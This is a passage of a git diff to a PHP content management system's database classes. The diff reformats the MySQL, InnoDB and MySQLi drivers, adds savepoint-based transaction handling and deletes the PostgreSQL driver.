$queryObject->getWhereString($with_values, false); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString($with_values); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select == '*' ? '1' : $temp_select - , 'FROM ' . $queryObject->getFromString($with_values) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString($with_values); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select == '*' ? '1' : $temp_select + , 'FROM ' . $queryObject->getFromString($with_values) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } - $count_query .= (__DEBUG_QUERY__&1 && $queryObject->queryID)?sprintf (' '.$this->comment_syntax, $queryObject->queryID):''; - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int)(isset($count_output->count) ? $count_output->count : NULL); + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + $result_count = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result_count); + $total_count = (int) (isset($count_output->count) ? $count_output->count : NULL); - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) $page = 1; + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } - // total pages - if ($total_count) - $total_page = (int) (($total_count - 1) / $list_count) + 1; - else - $total_page = 1; + // total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = array(); + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + return $buff; + } + $start_count = ($page - 1) * $list_count; - $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); + $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, $connection); - if ($this->isError ()) - return $this->queryError($queryObject); + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + if($this->isError()) + { + return $this->queryError($queryObject); + } - $virtual_no = $total_count - ($page - 1) * $list_count; - $data = $this->_fetch($result, $virtual_no); + $virtual_no = $total_count - ($page - 1) * $list_count; + $data = $this->_fetch($result, $virtual_no); - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + return $buff; + } /** * If select query execute, return paging sql @@ -660,28 +839,49 @@ class DBMysql extends DB { * @param int $list_count * @return string select paging sql */ - function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) { - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; + function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) + { + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } - $limit = $query->getLimitString(); - if ($limit != '') $limit = sprintf (' LIMIT %d, %d', $start_count, $list_count); + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = sprintf(' LIMIT %d, %d', $start_count, $list_count); + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } } -?> +/* End of file DBMysql.class.php */ +/* Location: ./classes/db/DBMysql.class.php */ diff --git a/classes/db/DBMysql_innodb.class.php b/classes/db/DBMysql_innodb.class.php index 9adcd58fb..039c62305 100644 --- a/classes/db/DBMysql_innodb.class.php +++ b/classes/db/DBMysql_innodb.class.php @@ -1,162 +1,218 @@ _setDBInfo(); + $this->_connect(); + } - /** - * Constructor - * @return void - **/ - function DBMysql_innodb() { - $this->_setDBInfo(); - $this->_connect(); - } + /** + * Create an instance of this class + * @return DBMysql_innodb return DBMysql_innodb object instance + */ + function create() + { + return new DBMysql_innodb; + } - /** - * Create an instance of this class - * @return DBMysql_innodb return DBMysql_innodb object instance - */ - function create() + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + $this->_query("commit", $connection); + @mysql_close($connection); + } + + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + $connection = $this->_getConnection('master'); + + if(!$transactionLevel) { - return new DBMysql_innodb; + $this->_query("START TRANSACTION", $connection); + } + else + { + $this->_query("SAVEPOINT SP" . $transactionLevel, $connection); + } + return true; + } + + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); + + $point = $transactionLevel - 1; + + if($point) + { + $this->_query("ROLLBACK TO SP" . $point, $connection); + } + else + { + $this->_query("ROLLBACK", $connection); + } + return true; + } + + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + $this->_query("commit", $connection); + return true; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if(!$connection) + { + exit('XE cannot handle DB connection.'); + } + // Run the query statement + $result = @mysql_query($query, $connection); + // Error Check + if(mysql_error($connection)) + { + $this->setError(mysql_errno($connection), mysql_error($connection)); + } + // Return result + return $result; + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + $table_name = $this->prefix . $table_name; + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; } - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - $this->_query("commit", $connection); - @mysql_close($connection); - } + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() { - $connection = $this->_getConnection('master'); - $this->_query("begin", $connection); - return true; - } + $column_schema[] = sprintf('`%s` %s%s %s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : '', $auto_increment ? 'auto_increment' : ''); - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() { - $connection = $this->_getConnection('master'); - $this->_query("rollback", $connection); - return true; - } + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } - /** - * DB transaction commit - * this method is private - * @return boolean - */ - function _commit() { - $connection = $this->_getConnection('master'); - $this->_query("commit", $connection); - return true; - } + if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '`' . implode($primary_list, '`,`') . '`'); + } - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) { - // Run the query statement - $result = @mysql_query($query, $connection); - // Error Check - if(mysql_error($connection)) $this->setError(mysql_errno($connection), mysql_error($connection)); - // Return result - return $result; - } + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $column_schema[] = sprintf("unique %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $column_schema[] = sprintf("index %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; + $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n"), "ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci"); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; + $output = $this->_query($schema); + if(!$output) + { + return false; + } + } - $column_schema[] = sprintf('`%s` %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'', - $auto_increment?'auto_increment':'' - ); - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", '`'.implode($primary_list,'`,`').'`'); - } - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("unique %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $column_schema[] = sprintf("index %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } - - $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema,",\n"), "ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci"); - - $output = $this->_query($schema); - if(!$output) return false; - } - } -?> +} +/* End of file DBMysql_innodb.class.php */ +/* Location: ./classes/db/DBMysql_innodb.class.php */ diff --git a/classes/db/DBMysqli.class.php b/classes/db/DBMysqli.class.php index cb675f27b..2f4f4f723 100644 --- a/classes/db/DBMysqli.class.php +++ b/classes/db/DBMysqli.class.php @@ -1,386 +1,447 @@ _setDBInfo(); + $this->_connect(); + } - /** - * Constructor - * @return void - **/ - function DBMysqli() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * Return if supportable - * Check 'mysqli_connect' function exists. - * @return boolean - */ - function isSupported() { - if(!function_exists('mysqli_connect')) return false; - return true; - } - - /** - * Create an instance of this class - * @return DBMysqli return DBMysqli object instance - */ - function create() + /** + * Return if supportable + * Check 'mysqli_connect' function exists. + * @return boolean + */ + function isSupported() + { + if(!function_exists('mysqli_connect')) { - return new DBMysqli; + return false; + } + return true; + } + + /** + * Create an instance of this class + * @return DBMysqli return DBMysqli object instance + */ + function create() + { + return new DBMysqli; + } + + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + // Attempt to connect + if($connection["db_port"]) + { + $result = @mysqli_connect($connection["db_hostname"] + , $connection["db_userid"] + , $connection["db_password"] + , $connection["db_database"] + , $connection["db_port"]); + } + else + { + $result = @mysqli_connect($connection["db_hostname"] + , $connection["db_userid"] + , $connection["db_password"] + , $connection["db_database"]); + } + $error = mysqli_connect_errno(); + if($error) + { + $this->setError($error, mysqli_connect_error()); + return; + } + mysqli_set_charset($result, 'utf8'); + return $result; + } + + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + mysqli_close($connection); + } + + /** + * Handles quatation of the string variables from the query + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + if(!is_numeric($string)) + { + $connection = $this->_getConnection('master'); + $string = mysqli_escape_string($connection, $string); + } + return $string; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if($this->use_prepared_statements == 'Y') + { + // 1. Prepare query + $stmt = mysqli_prepare($connection, $query); + if($stmt) + { + $types = ''; + $params = array(); + $this->_prepareQueryParameters($types, $params); + + if(!empty($params)) + { + $args[0] = $stmt; + $args[1] = $types; + + $i = 2; + foreach($params as $key => $param) + { + $copy[$key] = $param; + $args[$i++] = &$copy[$key]; + } + + // 2. Bind parameters + $status = call_user_func_array('mysqli_stmt_bind_param', $args); + if(!$status) + { + $this->setError(-1, "Invalid arguments: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); + } + } + + // 3. Execute query + $status = mysqli_stmt_execute($stmt); + + if(!$status) + { + $this->setError(-1, "Prepared statement failed: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); + } + + // Return stmt for other processing - like retrieving resultset (_fetch) + return $stmt; + // mysqli_stmt_close($stmt); + } + } + // Run the query statement + $result = mysqli_query($connection, $query); + // Error Check + $error = mysqli_error($connection); + if($error) + { + $this->setError(mysqli_errno($connection), $error); + } + // Return result + return $result; + } + + /** + * Before execute query, prepare statement + * this method is private + * @param string $types + * @param array $params + * @return void + */ + function _prepareQueryParameters(&$types, &$params) + { + $types = ''; + $params = array(); + if(!$this->param) + { + return; } - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) { - // Attempt to connect - if ($connection["db_port"]) { - $result = @mysqli_connect($connection["db_hostname"] - , $connection["db_userid"] - , $connection["db_password"] - , $connection["db_database"] - , $connection["db_port"]); - } else { - $result = @mysqli_connect($connection["db_hostname"] - , $connection["db_userid"] - , $connection["db_password"] - , $connection["db_database"]); - } - $error = mysqli_connect_errno(); - if($error) { - $this->setError($error,mysqli_connect_error()); - return; - } - mysqli_set_charset($result,'utf8'); - return $result; - } + foreach($this->param as $k => $o) + { + $value = $o->getUnescapedValue(); + $type = $o->getType(); - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - mysqli_close($connection); - } - - /** - * Handles quatation of the string variables from the query - * @param string $string - * @return string - */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)){ - $connection = $this->_getConnection('master'); - $string = mysqli_escape_string($connection,$string); - } - return $string; - } - - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) { - if($this->use_prepared_statements == 'Y') - { - // 1. Prepare query - $stmt = mysqli_prepare($connection, $query); - if($stmt){ - $types = ''; - $params = array(); - $this->_prepareQueryParameters($types, $params); - - if(!empty($params)) - { - $args[0] = $stmt; - $args[1] = $types; - - $i = 2; - foreach($params as $key => $param) { - $copy[$key] = $param; - $args[$i++] = &$copy[$key]; - } - - // 2. Bind parameters - $status = call_user_func_array('mysqli_stmt_bind_param',$args); - if(!$status) - $this->setError(-1, "Invalid arguments: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); - } - - // 3. Execute query - $status = mysqli_stmt_execute($stmt); - - if(!$status) - $this->setError(-1, "Prepared statement failed: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); - - // Return stmt for other processing - like retrieving resultset (_fetch) - return $stmt; - // mysqli_stmt_close($stmt); - } - + // Skip column names -> this should be concatenated to query string + if($o->isColumnName()) + { + continue; } - // Run the query statement - $result = mysqli_query($connection,$query); - // Error Check - $error = mysqli_error($connection); - if($error){ - $this->setError(mysqli_errno($connection), $error); + + switch($type) + { + case 'number' : + $type = 'i'; + break; + case 'varchar' : + $type = 's'; + break; + default: + $type = 's'; } - // Return result - return $result; - } - - /** - * Before execute query, prepare statement - * this method is private - * @param string $types - * @param array $params - * @return void - */ - function _prepareQueryParameters(&$types, &$params){ - $types = ''; - $params = array(); - if(!$this->param) return; - - foreach($this->param as $k => $o){ - $value = $o->getUnescapedValue(); - $type = $o->getType(); - - // Skip column names -> this should be concatenated to query string - if($o->isColumnName()) continue; - - switch($type) + + if(is_array($value)) + { + foreach($value as $v) { - case 'number' : - $type = 'i'; - break; - case 'varchar' : - $type = 's'; - break; - default: - $type = 's'; - } - - if(is_array($value)) - { - foreach($value as $v) - { - $params[] = $v; - $types .= $type; - } - } - else { - $params[] = $value; + $params[] = $v; $types .= $type; } - - - - } + } + else + { + $params[] = $value; + $types .= $type; + } } - - /** - * Fetch the result - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) { - if($this->use_prepared_statements != 'Y'){ - return parent::_fetch($result, $arrayIndexEndValue); - } - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; - - // Prepared stements: bind result variable and fetch data - $stmt = $result; - $meta = mysqli_stmt_result_metadata($stmt); - $fields = mysqli_fetch_fields($meta); + } - /** - * Mysqli has a bug that causes LONGTEXT columns not to get loaded - * Unless store_result is called before - * MYSQLI_TYPE for longtext is 252 - */ - $longtext_exists = false; - foreach($fields as $field) - { - if(isset($resultArray[$field->name])) // When joined tables are used and the same column name appears twice, we should add it separately, otherwise bind_result fails - $field->name = 'repeat_' . $field->name; - - // Array passed needs to contain references, not values - $row[$field->name] = ""; - $resultArray[$field->name] = &$row[$field->name]; - - if($field->type == 252) $longtext_exists = true; - } - $resultArray = array_merge(array($stmt), $resultArray); - - if($longtext_exists) - { - mysqli_stmt_store_result($stmt); - } - - call_user_func_array('mysqli_stmt_bind_result', $resultArray); - - $rows = array(); - while(mysqli_stmt_fetch($stmt)) - { - $resultObject = new stdClass(); - - foreach($resultArray as $key => $value) - { - if($key === 0) continue; // Skip stmt object - if(strpos($key, 'repeat_')) $key = substr($key, 6); - $resultObject->$key = $value; - } - - $rows[] = $resultObject; - } - - mysqli_stmt_close($stmt); - - if($arrayIndexEndValue) - { - foreach($rows as $row) - { - $output[$arrayIndexEndValue--] = $row; - } - } - else - { - $output = $rows; - } - - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - - return $output; - } - - /** - * Handles insertAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeInsertAct($queryObject, $with_values = false){ - if($this->use_prepared_statements != 'Y') - { - return parent::_executeInsertAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeInsertAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handles updateAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeUpdateAct($queryObject, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeUpdateAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeUpdateAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handles deleteAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeDeleteAct($queryObject, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeDeleteAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeDeleteAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handle selectAct - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object - */ - function _executeSelectAct($queryObject, $connection = null, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeSelectAct($queryObject, $connection); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeSelectAct($queryObject, $connection, $with_values); - unset($this->param); - return $result; - } - - /** - * Get the ID generated in the last query - * Return next sequence from sequence table - * This method use only mysql - * @return int - */ - function db_insert_id() + /** + * Fetch the result + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + if($this->use_prepared_statements != 'Y') { - $connection = $this->_getConnection('master'); - return mysqli_insert_id($connection); + return parent::_fetch($result, $arrayIndexEndValue); + } + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; } + // Prepared stements: bind result variable and fetch data + $stmt = $result; + $meta = mysqli_stmt_result_metadata($stmt); + $fields = mysqli_fetch_fields($meta); + /** - * Fetch a result row as an object - * @param resource $result - * @return object + * Mysqli has a bug that causes LONGTEXT columns not to get loaded + * Unless store_result is called before + * MYSQLI_TYPE for longtext is 252 */ - function db_fetch_object(&$result) + $longtext_exists = false; + foreach($fields as $field) { - return mysqli_fetch_object($result); + if(isset($resultArray[$field->name])) // When joined tables are used and the same column name appears twice, we should add it separately, otherwise bind_result fails + { + $field->name = 'repeat_' . $field->name; + } + + // Array passed needs to contain references, not values + $row[$field->name] = ""; + $resultArray[$field->name] = &$row[$field->name]; + + if($field->type == 252) + { + $longtext_exists = true; + } } - - /** - * Free result memory - * @param resource $result - * @return boolean Returns TRUE on success or FALSE on failure. - */ - function db_free_result(&$result){ - return mysqli_free_result($result); - } - } -?> + $resultArray = array_merge(array($stmt), $resultArray); + + if($longtext_exists) + { + mysqli_stmt_store_result($stmt); + } + + call_user_func_array('mysqli_stmt_bind_result', $resultArray); + + $rows = array(); + while(mysqli_stmt_fetch($stmt)) + { + $resultObject = new stdClass(); + + foreach($resultArray as $key => $value) + { + if($key === 0) + { + continue; // Skip stmt object + } + if(strpos($key, 'repeat_')) + { + $key = substr($key, 6); + } + $resultObject->$key = $value; + } + + $rows[] = $resultObject; + } + + mysqli_stmt_close($stmt); + + if($arrayIndexEndValue) + { + foreach($rows as $row) + { + $output[$arrayIndexEndValue--] = $row; + } + } + else + { + $output = $rows; + } + + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + + return $output; + } + + /** + * Handles insertAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeInsertAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeInsertAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeInsertAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handles updateAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeUpdateAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeUpdateAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeUpdateAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeDeleteAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeDeleteAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeDeleteAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handle selectAct + * In order to get a list of pages easily when selecting \n + * it supports a method as navigation + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object + */ + function _executeSelectAct($queryObject, $connection = null, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeSelectAct($queryObject, $connection); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeSelectAct($queryObject, $connection, $with_values); + unset($this->param); + return $result; + } + + /** + * Get the ID generated in the last query + * Return next sequence from sequence table + * This method use only mysql + * @return int + */ + function db_insert_id() + { + $connection = $this->_getConnection('master'); + return mysqli_insert_id($connection); + } + + /** + * Fetch a result row as an object + * @param resource $result + * @return object + */ + function db_fetch_object(&$result) + { + return mysqli_fetch_object($result); + } + + /** + * Free result memory + * @param resource $result + * @return boolean Returns TRUE on success or FALSE on failure. + */ + function db_free_result(&$result) + { + return mysqli_free_result($result); + } + +} +/* End of file DBMysqli.class.php */ +/* Location: ./classes/db/DBMysqli.class.php */ diff --git a/classes/db/DBPostgresql.class.php b/classes/db/DBPostgresql.class.php deleted file mode 100644 index ddab2eac8..000000000 --- a/classes/db/DBPostgresql.class.php +++ /dev/null @@ -1,600 +0,0 @@ - 'bigint', - 'number' => 'integer', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'text', - 'date' => 'varchar(14)', - 'float' => 'real', - ); - - /** - * @brief constructor - **/ - function DBPostgresql() - { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBPostgresql; - } - - /** - * @brief Return if it is installable - **/ - function isSupported() - { - if (!function_exists('pg_connect')) - return false; - return true; - } - - /** - * @brief DB Connection - **/ - function __connect($connection) - { - // the connection string for PG - $conn_string = ""; - // Create connection string - $conn_string .= ($connection["db_hostname"]) ? ' host='.$connection["db_hostname"] : ""; - $conn_string .= ($connection["db_userid"]) ? " user=" . $connection["db_userid"] : ""; - $conn_string .= ($connection["db_password"]) ? " password=" . $connection["db_password"] : ""; - $conn_string .= ($connection["db_database"]) ? " dbname=" . $connection["db_database"] : ""; - $conn_string .= ($connection["db_port"]) ? " port=" . $connection["db_port"] : ""; - - // Attempt to connect - $result = @pg_connect($conn_string); - if (!$result || pg_connection_status($result) != PGSQL_CONNECTION_OK) { - $this->setError(-1, "CONNECTION FAILURE"); - return; - } - return $result; - } - - /** - * @brief DB disconnection - **/ - function _close($connection) - { - @pg_close($connection); - } - - /** - * @brief Add quotes on the string variables in a query - **/ - function addQuotes($string) - { - if (version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) - $string = stripslashes(str_replace("\\", "\\\\", $string)); - if (!is_numeric($string)) - $string = @pg_escape_string($string); - return $string; - } - - /** - * @brief Begin transaction - **/ - function _begin() - { - $connection = $this->_getConnection('master'); - if (!$this->_query('BEGIN')) return false; - return true; - } - - /** - * @brief Rollback - **/ - function _rollback() - { - if (!$this->_query('ROLLBACK')) return false; - return true; - } - - /** - * @brief Commits - **/ - function _commit() - { - if (!$this->_query('COMMIT')) return false; - return true; - } - - /** - * @brief : Run a query and fetch the result - * - * query: run a query and return the result \n - * fetch: NULL if no value is returned \n - * array object if rows are returned \n - * object if a row is returned \n - * return\n - **/ - function __query($query, $connection) - { - if (!$this->isConnected()) - return; - - /* - $l_query_array = explode(" ", $query); - if ($l_query_array[0] = "update") - { - if (strtolower($l_query_array[2]) == "as") - { - $l_query_array[2] = ""; - $l_query_array[3] = ""; - $query = implode(" ",$l_query_array); - } - } - else if ($l_query_array[0] = "delete") - { - if (strtolower($l_query_array[3]) == "as") - { - $l_query_array[3] = ""; - $l_query_array[4] = ""; - $query = implode(" ",$l_query_array); - } - } - */ - // Notify to start a query execution - // $arr = array('Hello', 'World!', 'Beautiful', 'Day!'); - // Run the query statement - $result = @pg_query($connection, $query); - // Error Check - if (!$result) { - // var_dump($l_query_array); - //var_dump($query); - //die("\nin query statement\n"); - //var_dump(debug_backtrace()); - $this->setError(1, pg_last_error($connection)); - } - // Return result - return $result; - } - - /** - * @brief Fetch results - **/ - // TODO This is duplicate code - maybe we can find away to abastract the driver - function 